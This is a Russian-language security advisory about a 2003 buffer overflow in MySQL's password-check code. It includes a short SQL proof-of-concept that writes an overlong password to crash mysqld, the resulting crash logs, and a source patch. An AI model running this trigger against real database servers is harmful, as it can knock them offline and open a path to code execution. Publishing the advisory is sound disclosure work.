Дата публикации: | 11.09.2003 |
Всего просмотров: | 2228 |
Опасность: | Низкая |
Наличие исправления: | Да |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная |
Воздействие: | Повышение привилегий |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: |
MySQL 3.x
MySQL 4.x |
Уязвимые версии: MySQL 3.0.х до 3.0.57 и MySQL 4.0.х до 4.0.14 Описание: Переполнение буфера обнаружено в MySQL. Удаленный атакующий может выполнить произвольный код на уязвимой системе. Переполнение буфера обнаружено в функции проверки пароля. Удаленный атакующий, имеющий административные привилегии на MySQL сервере, может представить специально обработанное значение поля "Password", длиннее 16 символов, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями MySQL базы данных. На большинстве Linux систем, адрес возврата можно перезаписать на 444 байта.
Пример/Эксплоит: USE mysql; > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT; > UPDATE User SET Password = '123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 12345678123456781234567812345678...' WHERE User = 'abcd'; > FLUSH PRIVILEGES; [Connection lost] mysqld_safe/safe_mysqld log : 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted MySQL log : tons of mysqld got signal 11; URL производителя:http://www.mysql.com Решение: Установите обновленную версию программы или примените следующий патч:--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200 +++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200 @@ -233,7 +233,7 @@ "Found old style password for user '%s'. Ignoring user. (You may want to restart mysqld using --old-protocol)", user.user ? user.user : ""); /* purecov: tested */ } - else if (length % 8) // This holds true for passwords + else if (length % 8 || length > 16) // This holds true for passwords { sql_print_error( "Found invalid password for user: '%s@%s'; Ignoring user", |
|
Ссылки: | Buffer overflow in MySQL |